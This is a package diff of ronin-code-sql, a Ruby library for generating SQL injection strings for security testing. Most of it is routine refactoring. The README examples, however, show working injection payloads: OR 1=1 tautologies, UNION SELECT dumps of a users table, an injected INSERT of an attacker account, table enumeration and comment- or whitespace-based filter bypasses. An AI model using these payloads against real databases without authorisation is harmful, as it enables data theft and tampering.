ronin-code-sql 2.0.0 → 2.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/.github/workflows/ruby.yml +14 -0
- data/.rubocop.yml +13 -0
- data/ChangeLog.md +10 -1
- data/Gemfile +4 -0
- data/README.md +21 -12
- data/Rakefile +1 -0
- data/lib/ronin/code/sql/binary_expr.rb +34 -1
- data/lib/ronin/code/sql/clause.rb +18 -7
- data/lib/ronin/code/sql/clauses.rb +16 -14
- data/lib/ronin/code/sql/emittable.rb +8 -1
- data/lib/ronin/code/sql/emitter.rb +64 -25
- data/lib/ronin/code/sql/field.rb +29 -4
- data/lib/ronin/code/sql/function.rb +14 -3
- data/lib/ronin/code/sql/functions.rb +2 -14
- data/lib/ronin/code/sql/injection.rb +3 -3
- data/lib/ronin/code/sql/literal.rb +16 -1
- data/lib/ronin/code/sql/mixin.rb +95 -0
- data/lib/ronin/code/sql/statement.rb +13 -2
- data/lib/ronin/code/sql/unary_expr.rb +23 -1
- data/lib/ronin/code/sql/version.rb +2 -2
- data/lib/ronin/code/sql.rb +4 -63
- data/lib/ronin/code/sqli.rb +30 -0
- data/ronin-code-sql.gemspec +3 -4
- metadata +5 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 8ef7433a57468588fad1becd6d4bc48e5e9a63ec137ff6f6e4ae8be967654267
|
4
|
+
data.tar.gz: 218ff08b369ef3287e22f59f0274b23e27685ae4812db11aff064485be14c3e6
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 6b8b697faf3a989d20c174975cee3a2a1d674f6e0154583e7906987b048a6fd000a4d8c1491fac55297a7fbe72e46fc9eb04b6d71fe4fec0f4a036dbfa122db3
|
7
|
+
data.tar.gz: f474ebf13c229500a6117fce4f23b06d7072de914c257b76aeded05d2c801a0ecf4b92e397ba674b6ec68e82d48888f9639f709bcd8444dd88449bc532868b84
|
data/.github/workflows/ruby.yml
CHANGED
@@ -26,3 +26,17 @@ jobs:
|
|
26
26
|
run: bundle install --jobs 4 --retry 3
|
27
27
|
- name: Run tests
|
28
28
|
run: bundle exec rake test
|
29
|
+
|
30
|
+
# rubocop linting
|
31
|
+
rubocop:
|
32
|
+
runs-on: ubuntu-latest
|
33
|
+
steps:
|
34
|
+
- uses: actions/checkout@v2
|
35
|
+
- name: Set up Ruby
|
36
|
+
uses: ruby/setup-ruby@v1
|
37
|
+
with:
|
38
|
+
ruby-version: 3.0
|
39
|
+
- name: Install dependencies
|
40
|
+
run: bundle install --jobs 4 --retry 3
|
41
|
+
- name: Run rubocop
|
42
|
+
run: bundle exec rubocop --parallel
|
data/.rubocop.yml
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
AllCops:
|
2
|
+
NewCops: enable
|
3
|
+
SuggestExtensions: false
|
4
|
+
TargetRubyVersion: 3.1
|
5
|
+
|
6
|
+
inherit_gem:
|
7
|
+
rubocop-ronin: rubocop.yml
|
8
|
+
|
9
|
+
#
|
10
|
+
# ronin-code-sql specific exceptions
|
11
|
+
#
|
12
|
+
Lint/BinaryOperatorWithIdenticalOperands: { Exclude: ['spec/**/*_spec.rb'] }
|
13
|
+
Naming/MethodParameterName: { Exclude: ['lib/ronin/code/sql/functions.rb'] }
|
data/ChangeLog.md
CHANGED
@@ -1,4 +1,13 @@
|
|
1
|
-
### 2.
|
1
|
+
### 2.1.0 / 2023-06-26
|
2
|
+
|
3
|
+
* Added {Ronin::Code::SQL::Mixin}.
|
4
|
+
* Added {Ronin::Code::SQLI} as an alias for {Ronin::Code::SQL::Injection}.
|
5
|
+
* Added support for the `syntax:` and `comment:` keyword arguments to
|
6
|
+
{Ronin::Code::SQL::Statement#to_sql} and {Ronin::Code::SQL::Injection#to_sql}.
|
7
|
+
* Added {Ronin::Code::SQL::Clauses#order_by}.
|
8
|
+
* Added {Ronin::Code::SQL::Emitter#emit_comment}.
|
9
|
+
|
10
|
+
### 2.0.0 / 2023-02-01
|
2
11
|
|
3
12
|
* Require `ruby` >= 3.0.0.
|
4
13
|
* Added [ronin-support] ~> 0.1 as a dependency.
|
data/Gemfile
CHANGED
@@ -1,3 +1,5 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
1
3
|
source 'https://rubygems.org'
|
2
4
|
|
3
5
|
gemspec
|
@@ -25,4 +27,6 @@ group :development do
|
|
25
27
|
gem 'dead_end', require: false
|
26
28
|
gem 'sord', require: false, platform: :mri
|
27
29
|
gem 'stackprof', require: false, platform: :mri
|
30
|
+
gem 'rubocop', require: false, platform: :mri
|
31
|
+
gem 'rubocop-ronin', require: false, platform: :mri
|
28
32
|
end
|
data/README.md
CHANGED
@@ -61,7 +61,7 @@ string.sql_decode
|
|
61
61
|
Injecting a `1=1` test into a Integer comparison:
|
62
62
|
|
63
63
|
```ruby
|
64
|
-
sqli = Ronin::Code::
|
64
|
+
sqli = Ronin::Code::SQLI.new
|
65
65
|
sqli.or { 1 == 1 }
|
66
66
|
puts sqli
|
67
67
|
# 1 OR 1=1
|
@@ -70,7 +70,7 @@ puts sqli
|
|
70
70
|
Injecting a `1=1` test into a String comparison:
|
71
71
|
|
72
72
|
```ruby
|
73
|
-
sqli = Ronin::Code::
|
73
|
+
sqli = Ronin::Code::SQLI.new(escape: :string)
|
74
74
|
sqli.or { string(1) == string(1) }
|
75
75
|
puts sqli
|
76
76
|
# 1' OR '1'='1
|
@@ -79,7 +79,7 @@ puts sqli
|
|
79
79
|
Columns:
|
80
80
|
|
81
81
|
```ruby
|
82
|
-
sqli = Ronin::Code::
|
82
|
+
sqli = Ronin::Code::SQLI.new
|
83
83
|
sqli.and { admin == 1 }
|
84
84
|
puts sqli
|
85
85
|
# 1 AND admin=1
|
@@ -88,7 +88,7 @@ puts sqli
|
|
88
88
|
Clauses:
|
89
89
|
|
90
90
|
```ruby
|
91
|
-
sqli = Ronin::Code::
|
91
|
+
sqli = Ronin::Code::SQLI.new
|
92
92
|
sqli.or { 1 == 1 }.limit(0)
|
93
93
|
puts sqli
|
94
94
|
# 1 OR 1=1 LIMIT 0
|
@@ -97,7 +97,7 @@ puts sqli
|
|
97
97
|
Statements:
|
98
98
|
|
99
99
|
```ruby
|
100
|
-
sqli = Ronin::Code::
|
100
|
+
sqli = Ronin::Code::SQLI.new
|
101
101
|
sqli.and { 1 == 0 }
|
102
102
|
sqli.insert.into(:users).values('hacker','passw0rd','t')
|
103
103
|
puts sqli
|
@@ -107,7 +107,7 @@ puts sqli
|
|
107
107
|
Sub-Statements:
|
108
108
|
|
109
109
|
```ruby
|
110
|
-
sqli = Ronin::Code::
|
110
|
+
sqli = Ronin::Code::SQLI.new
|
111
111
|
sqli.union { select(1,2,3,4,id).from(users) }
|
112
112
|
puts sqli
|
113
113
|
# 1 UNION SELECT (1,2,3,4,id) FROM users
|
@@ -116,7 +116,7 @@ puts sqli
|
|
116
116
|
Test if a table exists:
|
117
117
|
|
118
118
|
```ruby
|
119
|
-
sqli = Ronin::Code::
|
119
|
+
sqli = Ronin::Code::SQLI.new
|
120
120
|
sqli.and { select(count).from(:users) == 1 }
|
121
121
|
puts sqli
|
122
122
|
# 1 AND (SELECT COUNT(*) FROM users)=1
|
@@ -125,7 +125,7 @@ puts sqli
|
|
125
125
|
Create errors by using non-existent tables:
|
126
126
|
|
127
127
|
```ruby
|
128
|
-
sqli = Ronin::Code::
|
128
|
+
sqli = Ronin::Code::SQLI.new(escape: :string)
|
129
129
|
sqli.and { non_existent_table == '1' }
|
130
130
|
puts sqli
|
131
131
|
# 1' AND non_existent_table='1
|
@@ -134,7 +134,7 @@ puts sqli
|
|
134
134
|
Dumping all values of a column:
|
135
135
|
|
136
136
|
```ruby
|
137
|
-
sqli = Ronin::Code::
|
137
|
+
sqli = Ronin::Code::SQLI.new(escape: :string)
|
138
138
|
sqli.or { username.is_not(null) }.or { username == '' }
|
139
139
|
puts sqli
|
140
140
|
# 1' OR username IS NOT NULL OR username='
|
@@ -143,7 +143,7 @@ puts sqli
|
|
143
143
|
Enumerate through database table names:
|
144
144
|
|
145
145
|
```ruby
|
146
|
-
sqli = Ronin::Code::
|
146
|
+
sqli = Ronin::Code::SQLI.new
|
147
147
|
sqli.and {
|
148
148
|
ascii(
|
149
149
|
lower(
|
@@ -160,7 +160,7 @@ puts sqli
|
|
160
160
|
Find user supplied tables via the `sysObjects` table:
|
161
161
|
|
162
162
|
```ruby
|
163
|
-
sqli = Ronin::Code::
|
163
|
+
sqli = Ronin::Code::SQLI.new
|
164
164
|
sqli.union_all {
|
165
165
|
select(1,2,3,4,5,6,name).from(sysObjects).where { xtype == 'U' }
|
166
166
|
}
|
@@ -171,12 +171,21 @@ puts sqli.to_sql(terminate: true)
|
|
171
171
|
Bypass filters using `/**/` instead of spaces:
|
172
172
|
|
173
173
|
```ruby
|
174
|
-
sqli = Ronin::Code::
|
174
|
+
sqli = Ronin::Code::SQLI.new
|
175
175
|
sqli.union { select(1,2,3,4,id).from(users) }
|
176
176
|
puts sqli.to_sql(space: '/**/')
|
177
177
|
# 1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users
|
178
178
|
```
|
179
179
|
|
180
|
+
Bypass filters using MySQL `#` comments:
|
181
|
+
|
182
|
+
```ruby
|
183
|
+
sqli = Ronin::Code::SQLI.new
|
184
|
+
sqli.or { 1 == 1 }
|
185
|
+
puts sqli.to_sql(terminate: true, comment: '#')
|
186
|
+
# 1 OR 1=1 OR 1=1;#
|
187
|
+
```
|
188
|
+
|
180
189
|
## Requirements
|
181
190
|
|
182
191
|
* [Ruby] >= 3.0.0
|
data/Rakefile
CHANGED
@@ -29,11 +29,44 @@ module Ronin
|
|
29
29
|
#
|
30
30
|
# @api semipublic
|
31
31
|
#
|
32
|
-
class BinaryExpr
|
32
|
+
class BinaryExpr
|
33
33
|
|
34
34
|
include Operators
|
35
35
|
include Emittable
|
36
36
|
|
37
|
+
# The left-hand side of the binary expression.
|
38
|
+
#
|
39
|
+
# @return [Statement, Function, BinaryExpr, Field, Literal]
|
40
|
+
attr_reader :left
|
41
|
+
|
42
|
+
# The binary expression's operator.
|
43
|
+
#
|
44
|
+
# @return [Symbol]
|
45
|
+
attr_reader :operator
|
46
|
+
|
47
|
+
# The right-hand side of the binary expression.
|
48
|
+
#
|
49
|
+
# @return [Object]
|
50
|
+
attr_reader :right
|
51
|
+
|
52
|
+
#
|
53
|
+
# Initializes the binary expression.
|
54
|
+
#
|
55
|
+
# @param [Statement, Function, BinaryExpr, Field, Literal] left
|
56
|
+
# The left-hand side of the binary expression.
|
57
|
+
#
|
58
|
+
# @param [Symbol] operator
|
59
|
+
# The binary expression's operator.
|
60
|
+
#
|
61
|
+
# @param [Object] right
|
62
|
+
# The right-hand side of the binary expression.
|
63
|
+
#
|
64
|
+
def initialize(left,operator,right)
|
65
|
+
@left = left
|
66
|
+
@operator = operator
|
67
|
+
@right = right
|
68
|
+
end
|
69
|
+
|
37
70
|
#
|
38
71
|
# Converts the binary expression to SQL.
|
39
72
|
#
|
@@ -33,7 +33,7 @@ module Ronin
|
|
33
33
|
#
|
34
34
|
# @api semipublic
|
35
35
|
#
|
36
|
-
class Clause
|
36
|
+
class Clause
|
37
37
|
|
38
38
|
include Literals
|
39
39
|
include Fields
|
@@ -41,13 +41,23 @@ module Ronin
|
|
41
41
|
include Statements
|
42
42
|
include Emittable
|
43
43
|
|
44
|
+
# The name of the clause.
|
45
|
+
#
|
46
|
+
# @return [Symbol]
|
47
|
+
attr_reader :keyword
|
48
|
+
|
49
|
+
# The clause's argument.
|
50
|
+
#
|
51
|
+
# @return [Object, nil]
|
52
|
+
attr_reader :argument
|
53
|
+
|
44
54
|
#
|
45
55
|
# Initializes the SQL clause.
|
46
56
|
#
|
47
57
|
# @param [Symbol] keyword
|
48
58
|
# The name of the clause.
|
49
59
|
#
|
50
|
-
# @param [Object] argument
|
60
|
+
# @param [Object, nil] argument
|
51
61
|
# Additional argument for the clause.
|
52
62
|
#
|
53
63
|
# @yield [(clause)]
|
@@ -58,13 +68,14 @@ module Ronin
|
|
58
68
|
# Otherwise the block will be evaluated within the clause.
|
59
69
|
#
|
60
70
|
def initialize(keyword,argument=nil,&block)
|
61
|
-
|
71
|
+
@keyword = keyword
|
72
|
+
@argument = argument
|
62
73
|
|
63
74
|
if block
|
64
|
-
|
65
|
-
|
66
|
-
|
67
|
-
|
75
|
+
@argument = case block.arity
|
76
|
+
when 0 then instance_eval(&block)
|
77
|
+
else block.call(self)
|
78
|
+
end
|
68
79
|
end
|
69
80
|
end
|
70
81
|
|
@@ -75,7 +75,7 @@ module Ronin
|
|
75
75
|
#
|
76
76
|
# Appends an `INTO` clause.
|
77
77
|
#
|
78
|
-
# @param [Field, Symbol] table
|
78
|
+
# @param [Field, Symbol, nil] table
|
79
79
|
# The table to insert into.
|
80
80
|
#
|
81
81
|
# @return [self]
|
@@ -194,6 +194,20 @@ module Ronin
|
|
194
194
|
clause([:GROUP, :BY],columns,&block)
|
195
195
|
end
|
196
196
|
|
197
|
+
#
|
198
|
+
# Appends a `ORDER BY` clause.
|
199
|
+
#
|
200
|
+
# @param [Array<Field, Symbol>] columns
|
201
|
+
# The columns for `ORDER BY`.
|
202
|
+
#
|
203
|
+
# @return [self]
|
204
|
+
#
|
205
|
+
# @since 2.1.0
|
206
|
+
#
|
207
|
+
def order_by(*columns,&block)
|
208
|
+
clause([:ORDER, :BY],columns,&block)
|
209
|
+
end
|
210
|
+
|
197
211
|
#
|
198
212
|
# Appends a `HAVING` clause.
|
199
213
|
#
|
@@ -231,7 +245,7 @@ module Ronin
|
|
231
245
|
# Appends a `TOP` clause.
|
232
246
|
#
|
233
247
|
# @param [Integer] value
|
234
|
-
# The number of top rows to select.
|
248
|
+
# The number of top rows to select.
|
235
249
|
#
|
236
250
|
# @return [self]
|
237
251
|
#
|
@@ -239,18 +253,6 @@ module Ronin
|
|
239
253
|
clause(:TOP,value,&block)
|
240
254
|
end
|
241
255
|
|
242
|
-
#
|
243
|
-
# Appends a `INTO` clause.
|
244
|
-
#
|
245
|
-
# @param [Field, Symbol] table
|
246
|
-
# The table to insert/replace into.
|
247
|
-
#
|
248
|
-
# @return [self]
|
249
|
-
#
|
250
|
-
def into(table)
|
251
|
-
clause(:INTO,table)
|
252
|
-
end
|
253
|
-
|
254
256
|
#
|
255
257
|
# Appends a `VALUES` clause.
|
256
258
|
#
|
@@ -36,7 +36,7 @@ module Ronin
|
|
36
36
|
# Additional keyword arguments for {Emitter#initialize}.
|
37
37
|
#
|
38
38
|
# @api private
|
39
|
-
#
|
39
|
+
#
|
40
40
|
def emitter(**kwargs)
|
41
41
|
Emitter.new(**kwargs)
|
42
42
|
end
|
@@ -56,6 +56,13 @@ module Ronin
|
|
56
56
|
# @option kwargs [:single, :double] :quotes (:single)
|
57
57
|
# Type of quotes to use for Strings.
|
58
58
|
#
|
59
|
+
# @option kwargs [nil, :mysql, :postgres, :oracle, :mssql] :syntax
|
60
|
+
# Specific SQL syntax to use.
|
61
|
+
#
|
62
|
+
# @option kwargs [nil, String] :comment
|
63
|
+
# Optional String to use as the SQL comment when terminating
|
64
|
+
# injection string
|
65
|
+
#
|
59
66
|
# @return [String]
|
60
67
|
# The raw SQL.
|
61
68
|
#
|
@@ -31,14 +31,30 @@ module Ronin
|
|
31
31
|
class Emitter
|
32
32
|
|
33
33
|
# The case to use when emitting keywords
|
34
|
+
#
|
35
|
+
# @return [:lower, :upper, :random, nil]
|
34
36
|
attr_reader :case
|
35
37
|
|
36
38
|
# String to use for white-space
|
39
|
+
#
|
40
|
+
# @return [String]
|
37
41
|
attr_reader :space
|
38
42
|
|
39
43
|
# Type of String quotes to use
|
44
|
+
#
|
45
|
+
# @return [:single, :double]
|
40
46
|
attr_reader :quotes
|
41
47
|
|
48
|
+
# Generate DB-specific code
|
49
|
+
#
|
50
|
+
# @return [nil, :mysql, :postgres, :oracle, :mssql]
|
51
|
+
attr_reader :syntax
|
52
|
+
|
53
|
+
# String to use as 'comment' or `nil` to let the emitter decide
|
54
|
+
#
|
55
|
+
# @return [String, nil]
|
56
|
+
attr_reader :comment
|
57
|
+
|
42
58
|
#
|
43
59
|
# Initializes the SQL Emitter.
|
44
60
|
#
|
@@ -48,16 +64,24 @@ module Ronin
|
|
48
64
|
# @param [:single, :double] quotes
|
49
65
|
# Type of quotes to use for Strings.
|
50
66
|
#
|
67
|
+
# @param [nil, :mysql, :postgres, :oracle, :mssql] syntax
|
68
|
+
# Syntax used during code-generation
|
69
|
+
#
|
70
|
+
# @param [nil, String] comment
|
71
|
+
# String to use as the comment when terminating injection string
|
72
|
+
#
|
51
73
|
# @param [Hash{Symbol => Object}] kwargs
|
52
74
|
# Emitter options.
|
53
75
|
#
|
54
76
|
# @option kwargs [:lower, :upper, :random, nil] :case
|
55
77
|
# Case for keywords.
|
56
78
|
#
|
57
|
-
def initialize(space: ' ', quotes: :single, **kwargs)
|
58
|
-
@case
|
59
|
-
@
|
60
|
-
@
|
79
|
+
def initialize(space: ' ', quotes: :single, syntax: nil, comment: nil, **kwargs)
|
80
|
+
@case = kwargs[:case] # HACK: because `case` is a ruby keyword
|
81
|
+
@syntax = syntax
|
82
|
+
@comment = comment
|
83
|
+
@space = space
|
84
|
+
@quotes = quotes
|
61
85
|
end
|
62
86
|
|
63
87
|
#
|
@@ -70,36 +94,37 @@ module Ronin
|
|
70
94
|
# The raw SQL.
|
71
95
|
#
|
72
96
|
def emit_keyword(keyword)
|
73
|
-
|
97
|
+
string = Array(keyword).join(@space)
|
74
98
|
|
75
99
|
case @case
|
76
|
-
when :upper then
|
77
|
-
when :lower then
|
100
|
+
when :upper then string.upcase
|
101
|
+
when :lower then string.downcase
|
78
102
|
when :random
|
79
|
-
|
80
|
-
(
|
81
|
-
index = rand(
|
82
|
-
|
103
|
+
string.tap do
|
104
|
+
(string.length / 2).times do
|
105
|
+
index = rand(string.length)
|
106
|
+
|
107
|
+
string[index] = string[index].swapcase
|
83
108
|
end
|
84
109
|
end
|
85
110
|
else
|
86
|
-
|
111
|
+
string
|
87
112
|
end
|
88
113
|
end
|
89
114
|
|
90
115
|
#
|
91
116
|
# Emits a SQL operator.
|
92
117
|
#
|
93
|
-
# @param [Array<Symbol>, Symbol]
|
118
|
+
# @param [Array<Symbol>, Symbol] operator
|
94
119
|
# The operator symbol.
|
95
120
|
#
|
96
121
|
# @return [String]
|
97
122
|
# The raw SQL.
|
98
123
|
#
|
99
|
-
def emit_operator(
|
100
|
-
case
|
101
|
-
when /^\W+$/
|
102
|
-
else
|
124
|
+
def emit_operator(operator)
|
125
|
+
case operator
|
126
|
+
when /^\W+$/ then operator.to_s
|
127
|
+
else emit_keyword(operator)
|
103
128
|
end
|
104
129
|
end
|
105
130
|
|
@@ -132,6 +157,19 @@ module Ronin
|
|
132
157
|
"1=1"
|
133
158
|
end
|
134
159
|
|
160
|
+
#
|
161
|
+
# Emits a SQL comment.
|
162
|
+
#
|
163
|
+
# @return [String]
|
164
|
+
# The raw SQL.
|
165
|
+
#
|
166
|
+
# @since 2.1.0
|
167
|
+
#
|
168
|
+
def emit_comment
|
169
|
+
# Return chosen comment or default one which works everywhere
|
170
|
+
@comment || '-- '
|
171
|
+
end
|
172
|
+
|
135
173
|
#
|
136
174
|
# Emits a SQL Integer.
|
137
175
|
#
|
@@ -200,7 +238,7 @@ module Ronin
|
|
200
238
|
# The raw SQL.
|
201
239
|
#
|
202
240
|
def emit_list(list)
|
203
|
-
|
241
|
+
"(#{list.map { |element| emit(element) }.join(',')})"
|
204
242
|
end
|
205
243
|
|
206
244
|
#
|
@@ -250,7 +288,8 @@ module Ronin
|
|
250
288
|
|
251
289
|
case expr
|
252
290
|
when BinaryExpr
|
253
|
-
left
|
291
|
+
left = emit_argument(expr.left)
|
292
|
+
right = emit_argument(expr.right)
|
254
293
|
|
255
294
|
case op
|
256
295
|
when /^\W+$/ then "#{left}#{op}#{right}"
|
@@ -366,16 +405,16 @@ module Ronin
|
|
366
405
|
sql = emit_keyword(stmt.keyword)
|
367
406
|
|
368
407
|
unless stmt.argument.nil?
|
369
|
-
case stmt.argument
|
370
|
-
|
371
|
-
|
408
|
+
sql << @space << case stmt.argument
|
409
|
+
when Array
|
410
|
+
if stmt.argument.length == 1
|
372
411
|
emit_argument(stmt.argument[0])
|
373
412
|
else
|
374
413
|
emit_list(stmt.argument)
|
375
414
|
end
|
376
|
-
|
377
|
-
|
378
|
-
|
415
|
+
else
|
416
|
+
emit_argument(stmt.argument)
|
417
|
+
end
|
379
418
|
end
|
380
419
|
|
381
420
|
unless stmt.clauses.empty?
|
data/lib/ronin/code/sql/field.rb
CHANGED
@@ -29,22 +29,33 @@ module Ronin
|
|
29
29
|
#
|
30
30
|
# @api semipublic
|
31
31
|
#
|
32
|
-
class Field
|
32
|
+
class Field
|
33
33
|
|
34
34
|
include Operators
|
35
35
|
include Emittable
|
36
36
|
|
37
|
+
# The name of the field.
|
38
|
+
#
|
39
|
+
# @return [String]
|
40
|
+
attr_reader :name
|
41
|
+
|
42
|
+
# The parent of the field name.
|
43
|
+
#
|
44
|
+
# @return [Field, nil]
|
45
|
+
attr_reader :parent
|
46
|
+
|
37
47
|
#
|
38
48
|
# Initializes the new field.
|
39
49
|
#
|
40
50
|
# @param [String] name
|
41
51
|
# The name of the field.
|
42
52
|
#
|
43
|
-
# @param [Field] parent
|
53
|
+
# @param [Field, nil] parent
|
44
54
|
# The parent of the field.
|
45
55
|
#
|
46
56
|
def initialize(name,parent=nil)
|
47
|
-
|
57
|
+
@name = name.to_s
|
58
|
+
@parent = parent
|
48
59
|
end
|
49
60
|
|
50
61
|
#
|
@@ -59,13 +70,27 @@ module Ronin
|
|
59
70
|
names = name.to_s.split('.',3)
|
60
71
|
field = nil
|
61
72
|
|
62
|
-
names.each { |
|
73
|
+
names.each { |keyword| field = new(keyword,field) }
|
63
74
|
|
64
75
|
return field
|
65
76
|
end
|
66
77
|
|
67
78
|
alias to_str to_s
|
68
79
|
|
80
|
+
#
|
81
|
+
# Determines if the field responds to the given method.
|
82
|
+
#
|
83
|
+
# @param [Symbol] name
|
84
|
+
# The method name.
|
85
|
+
#
|
86
|
+
# @return [Boolean]
|
87
|
+
# Will return false if the field already has two parents, otherwise
|
88
|
+
# will return true.
|
89
|
+
#
|
90
|
+
def respond_to_missing?(name)
|
91
|
+
self.parent.nil? || self.parent.parent.nil?
|
92
|
+
end
|
93
|
+
|
69
94
|
protected
|
70
95
|
|
71
96
|
#
|
@@ -29,11 +29,21 @@ module Ronin
|
|
29
29
|
#
|
30
30
|
# @api semipublic
|
31
31
|
#
|
32
|
-
class Function
|
32
|
+
class Function
|
33
33
|
|
34
34
|
include Operators
|
35
35
|
include Emittable
|
36
36
|
|
37
|
+
# The function's name.
|
38
|
+
#
|
39
|
+
# @return [Symbol]
|
40
|
+
attr_reader :name
|
41
|
+
|
42
|
+
# The function's arguments.
|
43
|
+
#
|
44
|
+
# @return [Array]
|
45
|
+
attr_reader :arguments
|
46
|
+
|
37
47
|
#
|
38
48
|
# Creates a new Function object.
|
39
49
|
#
|
@@ -41,10 +51,11 @@ module Ronin
|
|
41
51
|
# The name of the function.
|
42
52
|
#
|
43
53
|
# @param [Array] arguments
|
44
|
-
# The arguments
|
54
|
+
# The arguments being passed to the function.
|
45
55
|
#
|
46
56
|
def initialize(name,*arguments)
|
47
|
-
|
57
|
+
@name = name
|
58
|
+
@arguments = arguments
|
48
59
|
end
|
49
60
|
|
50
61
|
end
|
@@ -101,7 +101,7 @@ module Ronin
|
|
101
101
|
#
|
102
102
|
# The `SQRT` function.
|
103
103
|
#
|
104
|
-
# @param [Field, Symbol] field
|
104
|
+
# @param [Field, Function, Symbol, Numeric] field
|
105
105
|
# The field to aggregate.
|
106
106
|
#
|
107
107
|
# @return [Function]
|
@@ -502,18 +502,6 @@ module Ronin
|
|
502
502
|
Function.new(:SIN,x)
|
503
503
|
end
|
504
504
|
|
505
|
-
#
|
506
|
-
# The `SQRT` function.
|
507
|
-
#
|
508
|
-
# @param [Field, Function, Symbol, Numeric] x
|
509
|
-
#
|
510
|
-
# @return [Function]
|
511
|
-
# The new function.
|
512
|
-
#
|
513
|
-
def sqrt(x)
|
514
|
-
Function.new(:SQRT,x)
|
515
|
-
end
|
516
|
-
|
517
505
|
#
|
518
506
|
# The `STD` function.
|
519
507
|
#
|
@@ -1045,7 +1033,7 @@ module Ronin
|
|
1045
1033
|
def replace(string,from_string,to_string)
|
1046
1034
|
Function.new(:REPLACE,string,from_string,to_string)
|
1047
1035
|
end
|
1048
|
-
|
1036
|
+
|
1049
1037
|
#
|
1050
1038
|
# The `REVERSE` function.
|
1051
1039
|
#
|
@@ -145,17 +145,17 @@ module Ronin
|
|
145
145
|
when :string, :list
|
146
146
|
if (terminate || (sql[0,1] != sql[-1,1]))
|
147
147
|
# terminate the expression
|
148
|
-
sql << '
|
148
|
+
sql << ';' << emitter.emit_comment
|
149
149
|
else
|
150
150
|
sql = sql[0..-2]
|
151
151
|
end
|
152
152
|
|
153
153
|
# balance the quotes
|
154
|
-
sql = sql[1
|
154
|
+
sql = sql[1..]
|
155
155
|
else
|
156
156
|
if terminate
|
157
157
|
# terminate the expression
|
158
|
-
sql << '
|
158
|
+
sql << ';' << emitter.emit_comment
|
159
159
|
end
|
160
160
|
end
|
161
161
|
|
@@ -29,11 +29,26 @@ module Ronin
|
|
29
29
|
#
|
30
30
|
# @api semipublic
|
31
31
|
#
|
32
|
-
class Literal
|
32
|
+
class Literal
|
33
33
|
|
34
34
|
include Operators
|
35
35
|
include Emittable
|
36
36
|
|
37
|
+
# The literal value.
|
38
|
+
#
|
39
|
+
# @return [String, Integer, Float, :NULL]
|
40
|
+
attr_reader :value
|
41
|
+
|
42
|
+
#
|
43
|
+
# Initializes the literal value.
|
44
|
+
#
|
45
|
+
# @param [String, Integer, Float, :NULL] value
|
46
|
+
# The value for the literal.
|
47
|
+
#
|
48
|
+
def initialize(value)
|
49
|
+
@value = value
|
50
|
+
end
|
51
|
+
|
37
52
|
end
|
38
53
|
end
|
39
54
|
end
|
@@ -0,0 +1,95 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
#
|
3
|
+
# ronin-code-sql - A Ruby DSL for crafting SQL Injections.
|
4
|
+
#
|
5
|
+
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
|
6
|
+
#
|
7
|
+
# ronin-code-sql is free software: you can redistribute it and/or modify
|
8
|
+
# it under the terms of the GNU Lesser General Public License as published
|
9
|
+
# by the Free Software Foundation, either version 3 of the License, or
|
10
|
+
# (at your option) any later version.
|
11
|
+
#
|
12
|
+
# ronin-code-sql is distributed in the hope that it will be useful,
|
13
|
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
14
|
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
15
|
+
# GNU Lesser General Public License for more details.
|
16
|
+
#
|
17
|
+
# You should have received a copy of the GNU Lesser General Public License
|
18
|
+
# along with ronin-code-sql. If not, see <https://www.gnu.org/licenses/>.
|
19
|
+
#
|
20
|
+
|
21
|
+
require 'ronin/code/sql/statement_list'
|
22
|
+
require 'ronin/code/sql/injection'
|
23
|
+
|
24
|
+
module Ronin
|
25
|
+
module Code
|
26
|
+
module SQL
|
27
|
+
#
|
28
|
+
# Adds helper methods for building SQL or SQL injections.
|
29
|
+
#
|
30
|
+
# @since 2.1.0
|
31
|
+
#
|
32
|
+
module Mixin
|
33
|
+
#
|
34
|
+
# Creates a new SQL statement list.
|
35
|
+
#
|
36
|
+
# @yield [(statements)]
|
37
|
+
# If a block is given, it will be evaluated within the statement list.
|
38
|
+
# If the block accepts an argument, the block will be called with the
|
39
|
+
# new statement list.
|
40
|
+
#
|
41
|
+
# @yieldparam [StatementList] statements
|
42
|
+
# The new statement list.
|
43
|
+
#
|
44
|
+
# @return [StatementList]
|
45
|
+
# The new SQL statement list.
|
46
|
+
#
|
47
|
+
# @example
|
48
|
+
# sql { select(1,2,3,4,id).from(users) }
|
49
|
+
# # => #<Ronin::Code::SQL::StatementList: SELECT (1,2,3,4,id) FROM users>
|
50
|
+
#
|
51
|
+
# @api public
|
52
|
+
#
|
53
|
+
def sql(&block)
|
54
|
+
StatementList.new(&block)
|
55
|
+
end
|
56
|
+
|
57
|
+
#
|
58
|
+
# Creates a new SQL injection (SQLi)
|
59
|
+
#
|
60
|
+
# @param [Hash{Symbol => Object}] kwargs
|
61
|
+
# Additional keyword arguments for {Injection#initialize}.
|
62
|
+
#
|
63
|
+
# @option kwargs [:integer, :decimal, :string, :column] :escape
|
64
|
+
# The type of element to escape out of.
|
65
|
+
#
|
66
|
+
# @option kwargs [Boolean] :terminate
|
67
|
+
# Specifies whether to terminate the SQLi with a comment.
|
68
|
+
#
|
69
|
+
# @option kwargs [String, Symbol, Integer] :place_holder
|
70
|
+
# Place-holder data.
|
71
|
+
#
|
72
|
+
# @yield [(injection)]
|
73
|
+
# If a block is given, it will be evaluated within the injection.
|
74
|
+
# If the block accepts an argument, the block will be called with the
|
75
|
+
# new injection.
|
76
|
+
#
|
77
|
+
# @yieldparam [Injection] injection
|
78
|
+
# The new injection.
|
79
|
+
#
|
80
|
+
# @return [Injection]
|
81
|
+
# The new SQL injection.
|
82
|
+
#
|
83
|
+
# @example
|
84
|
+
# sqli { self.and { 1 == 1 }.select(1,2,3,4,id).from(users) }
|
85
|
+
